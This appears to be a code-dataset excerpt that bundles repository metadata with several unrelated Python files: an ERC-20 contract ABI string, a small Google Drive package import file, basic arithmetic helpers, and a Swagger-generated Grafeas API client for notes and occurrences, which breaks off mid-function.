"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getRoleMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleMemberCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isRestrictedTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"forwarder","type":"address"}],"name":"isTrustedForwarder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_URI","type":"string"}],"name":"setContractURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_restrictedTransfer","type":"bool"}],"name":"setRestrictedTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"}]' # noqa: E501 (line-too-long) ) # pylint: disable=too-many-lines

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1

0

1

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1

0

null

0

8

ca2444cd2e76f11e970b50a9a738ca97c734bfcd

129

py

Python

sites/google_drive/__init__.py

GeorgOhneH/ethz-document-fetcher

42921e5d71698a269eb54cf9d3979e4a7d88a9cf

[ "MIT" ]

15

2020-03-17T15:43:46.000Z

2022-01-08T04:23:49.000Z

sites/google_drive/__init__.py

GeorgOhneH/ethz-document-fetcher

42921e5d71698a269eb54cf9d3979e4a7d88a9cf

[ "MIT" ]

5

2020-03-12T10:05:27.000Z

2021-03-03T16:01:47.000Z

sites/google_drive/__init__.py

GeorgOhneH/ethz-document-fetcher

42921e5d71698a269eb54cf9d3979e4a7d88a9cf

[ "MIT" ]

2

2020-03-17T17:09:20.000Z

2020-12-28T22:59:17.000Z

from sites.google_drive.get_website_url import get_website_url from sites.google_drive.producer import producer, get_folder_name

43

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1

0

1

0

7

ca39475fcf588893a9ebfe9babeef12897abee56

128

py

Python

mathfun.py

cute-git/try_unit

d441bbb30a3a6eaa11b8a619b553a03719f96943

[ "Apache-2.0" ]

null

mathfun.py

cute-git/try_unit

d441bbb30a3a6eaa11b8a619b553a03719f96943

[ "Apache-2.0" ]

null

mathfun.py

cute-git/try_unit

d441bbb30a3a6eaa11b8a619b553a03719f96943

[ "Apache-2.0" ]

null

def add(a,b): return a + b def minus(a,b): return a-b def multi(a,b): return a*b def divide(a,b): return a/b

10.666667

16

0.554688

28

128

2.535714

0.285714

0.225352

0.450704

0.507042

0.690141

0.549296

0

0.289063

128

11

17

11.636364

0.78022

0

1

0.5

false

0

0.5

1

0

1

0

null

1

0

null

0

1

0

1

0

7

ca49818502adb842b2ecff9b554afe6a7db0f322

60,891

py

Python

grafeas/api/grafeas_api.py

atlassian-forks/client-python

111cb2184324595931e42233707a58cff77cb6ec

[ "Apache-2.0" ]

6

2018-01-22T21:54:56.000Z

2020-07-26T14:52:13.000Z

grafeas/api/grafeas_api.py

atlassian-forks/client-python

111cb2184324595931e42233707a58cff77cb6ec

[ "Apache-2.0" ]

6

2018-07-12T12:56:16.000Z

2021-07-13T00:33:24.000Z

grafeas/api/grafeas_api.py

atlassian-forks/client-python

111cb2184324595931e42233707a58cff77cb6ec

[ "Apache-2.0" ]

19

2018-07-12T11:08:44.000Z

2022-03-09T06:17:04.000Z

# coding: utf-8 """ An API to insert and retrieve metadata on cloud artifacts. No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: v1alpha1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from grafeas.api_client import ApiClient class GrafeasApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def create_note(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_note(parent, body, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: This field contains the project Id for example: \"project/{project_id} (required) :param ApiNote body: The Note to be inserted (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_note_with_http_info(parent, body, **kwargs) # noqa: E501 else: (data) = self.create_note_with_http_info(parent, body, **kwargs) # noqa: E501 return data def create_note_with_http_info(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_note_with_http_info(parent, body, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: This field contains the project Id for example: \"project/{project_id} (required) :param ApiNote body: The Note to be inserted (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_note" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `create_note`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_note`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent=projects/*}/notes', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNote', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def create_occurrence(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Occurrence`. Use this method to create `Occurrences` for a resource. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_occurrence(parent, body, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: This field contains the project Id for example: \"projects/{project_id}\" (required) :param ApiOccurrence body: The occurrence to be inserted. (required) :return: ApiOccurrence If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_occurrence_with_http_info(parent, body, **kwargs) # noqa: E501 else: (data) = self.create_occurrence_with_http_info(parent, body, **kwargs) # noqa: E501 return data def create_occurrence_with_http_info(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Occurrence`. Use this method to create `Occurrences` for a resource. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_occurrence_with_http_info(parent, body, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: This field contains the project Id for example: \"projects/{project_id}\" (required) :param ApiOccurrence body: The occurrence to be inserted. (required) :return: ApiOccurrence If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_occurrence" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `create_occurrence`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_occurrence`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent=projects/*}/occurrences', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiOccurrence', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def create_operation(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Operation`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_operation(parent, body, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: The projectId that this operation should be created under. (required) :param ApiCreateOperationRequest body: (required) :return: GooglelongrunningOperation If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_operation_with_http_info(parent, body, **kwargs) # noqa: E501 else: (data) = self.create_operation_with_http_info(parent, body, **kwargs) # noqa: E501 return data def create_operation_with_http_info(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Operation`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_operation_with_http_info(parent, body, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: The projectId that this operation should be created under. (required) :param ApiCreateOperationRequest body: (required) :return: GooglelongrunningOperation If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_operation" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `create_operation`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_operation`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent=projects/*}/operations', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='GooglelongrunningOperation', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def delete_note(self, name, **kwargs): # noqa: E501 """Deletes the given `Note` from the system. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_note(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the note in the form of \"providers/{provider_id}/notes/{NOTE_ID}\" (required) :return: object If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_note_with_http_info(name, **kwargs) # noqa: E501 else: (data) = self.delete_note_with_http_info(name, **kwargs) # noqa: E501 return data def delete_note_with_http_info(self, name, **kwargs): # noqa: E501 """Deletes the given `Note` from the system. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_note_with_http_info(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the note in the form of \"providers/{provider_id}/notes/{NOTE_ID}\" (required) :return: object If the method is called asynchronously, returns the request thread. """ all_params = ['name'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_note" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `delete_note`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name=projects/*/notes/*}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='object', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def delete_occurrence(self, name, **kwargs): # noqa: E501 """Deletes the given `Occurrence` from the system. Use this when an `Occurrence` is no longer applicable for the given resource. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_occurrence(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the occurrence in the form of \"projects/{project_id}/occurrences/{OCCURRENCE_ID}\" (required) :return: object If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_occurrence_with_http_info(name, **kwargs) # noqa: E501 else: (data) = self.delete_occurrence_with_http_info(name, **kwargs) # noqa: E501 return data def delete_occurrence_with_http_info(self, name, **kwargs): # noqa: E501 """Deletes the given `Occurrence` from the system. Use this when an `Occurrence` is no longer applicable for the given resource. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_occurrence_with_http_info(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the occurrence in the form of \"projects/{project_id}/occurrences/{OCCURRENCE_ID}\" (required) :return: object If the method is called asynchronously, returns the request thread. """ all_params = ['name'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_occurrence" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `delete_occurrence`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name=projects/*/occurrences/*}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='object', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_note(self, name, **kwargs): # noqa: E501 """Returns the requested `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_note(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the note in the form of \"providers/{provider_id}/notes/{NOTE_ID}\" (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_note_with_http_info(name, **kwargs) # noqa: E501 else: (data) = self.get_note_with_http_info(name, **kwargs) # noqa: E501 return data def get_note_with_http_info(self, name, **kwargs): # noqa: E501 """Returns the requested `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_note_with_http_info(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the note in the form of \"providers/{provider_id}/notes/{NOTE_ID}\" (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ all_params = ['name'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_note" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `get_note`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name=projects/*/notes/*}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNote', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_occurrence(self, name, **kwargs): # noqa: E501 """Returns the requested `Occurrence`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_occurrence(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the occurrence of the form \"projects/{project_id}/occurrences/{OCCURRENCE_ID}\" (required) :return: ApiOccurrence If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_occurrence_with_http_info(name, **kwargs) # noqa: E501 else: (data) = self.get_occurrence_with_http_info(name, **kwargs) # noqa: E501 return data def get_occurrence_with_http_info(self, name, **kwargs): # noqa: E501 """Returns the requested `Occurrence`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_occurrence_with_http_info(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the occurrence of the form \"projects/{project_id}/occurrences/{OCCURRENCE_ID}\" (required) :return: ApiOccurrence If the method is called asynchronously, returns the request thread. """ all_params = ['name'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_occurrence" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `get_occurrence`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name=projects/*/occurrences/*}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiOccurrence', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_occurrence_note(self, name, **kwargs): # noqa: E501 """Gets the `Note` attached to the given `Occurrence`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_occurrence_note(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the occurrence in the form \"projects/{project_id}/occurrences/{OCCURRENCE_ID}\" (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_occurrence_note_with_http_info(name, **kwargs) # noqa: E501 else: (data) = self.get_occurrence_note_with_http_info(name, **kwargs) # noqa: E501 return data def get_occurrence_note_with_http_info(self, name, **kwargs): # noqa: E501 """Gets the `Note` attached to the given `Occurrence`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_occurrence_note_with_http_info(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the occurrence in the form \"projects/{project_id}/occurrences/{OCCURRENCE_ID}\" (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ all_params = ['name'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_occurrence_note" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `get_occurrence_note`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name=projects/*/occurrences/*}/notes', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNote', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_note_occurrences(self, name, **kwargs): # noqa: E501 """Lists `Occurrences` referencing the specified `Note`. Use this method to get all occurrences referencing your `Note` across all your customer projects. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_note_occurrences(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name field will contain the note name for example: \"provider/{provider_id}/notes/{note_id}\" (required) :param str filter: The filter expression. :param int page_size: Number of notes to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListNoteOccurrencesResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_note_occurrences_with_http_info(name, **kwargs) # noqa: E501 else: (data) = self.list_note_occurrences_with_http_info(name, **kwargs) # noqa: E501 return data def list_note_occurrences_with_http_info(self, name, **kwargs): # noqa: E501 """Lists `Occurrences` referencing the specified `Note`. Use this method to get all occurrences referencing your `Note` across all your customer projects. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_note_occurrences_with_http_info(name, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name field will contain the note name for example: \"provider/{provider_id}/notes/{note_id}\" (required) :param str filter: The filter expression. :param int page_size: Number of notes to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListNoteOccurrencesResponse If the method is called asynchronously, returns the request thread. """ all_params = ['name', 'filter', 'page_size', 'page_token'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_note_occurrences" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `list_note_occurrences`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] if 'filter' in params: query_params.append(('filter', params['filter'])) # noqa: E501 if 'page_size' in params: query_params.append(('page_size', params['page_size'])) # noqa: E501 if 'page_token' in params: query_params.append(('page_token', params['page_token'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( 